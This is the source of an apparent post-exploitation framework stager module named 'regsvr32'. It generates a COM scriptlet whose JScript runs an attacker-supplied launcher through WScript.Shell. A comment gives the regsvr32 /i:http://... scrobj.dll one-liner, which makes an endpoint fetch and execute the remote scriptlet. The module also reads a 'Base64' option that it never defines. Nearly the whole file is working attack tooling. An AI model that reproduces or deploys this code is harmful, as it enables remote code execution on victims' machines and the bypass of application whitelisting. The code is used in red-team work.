Create regsvr32.py
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from lib.common import helpers
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'regsvr32',
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'Author': ['@subTee', '@enigma0x3'],
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'Description': ('Generates an sct file (COM Scriptlet) Host this anywhere'),
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'Comments': [
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'On the endpoint simple lauch regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll '
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener': {
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'Description': 'Listener to generate stager for.',
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'Required': True,
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'Value': ''
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},
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'StagerRetries': {
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'Description': 'Times for the stager to retry connecting.',
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'Required': False,
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'Value': '0'
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},
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'OutFile': {
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'Description': 'File to output SCT to, otherwise displayed on the screen.',
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'Required': False,
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'Value': '/tmp/launcher.sct'
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},
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'UserAgent': {
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'Description': 'User-agent string to use for the staging request (default, none, or other).',
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'Required': False,
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'Value': 'default'
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},
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'Proxy': {
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'Description': 'Proxy to use for request (default, none, or other).',
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'Required': False,
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'Value': 'default'
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},
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'ProxyCreds': {
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'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required': False,
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'Value': 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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base64 = self.options['Base64']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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stagerRetries = self.options['StagerRetries']['Value']
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encode = False
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if base64.lower() == "true":
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encode = True
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(
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listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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code = "<?XML version=\"1.0\"?>\n"
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code += "<scriptlet>\n"
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code += "<registration\n"
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code += "description=\"Win32COMDebug\"\n"
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code += "progid=\"Win32COMDebug\"\n"
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code += "version=\"1.00\"\n"
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code += "classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\n"
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code += " >\n"
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code += " <script language=\"JScript\">\n"
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code += " <![CDATA[\n"
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code += " var r = new ActiveXObject(\"WScript.Shell\").Run(\"" + launcher + "\");\n"
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code += " ]]>\n"
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code += " </script>\n"
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code += "</registration>\n"
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code += "<public>\n"
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code += " <method name=\"Exec\"></method>\n"
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code += "</public>\n"
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code += "</scriptlet>\n"
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return code
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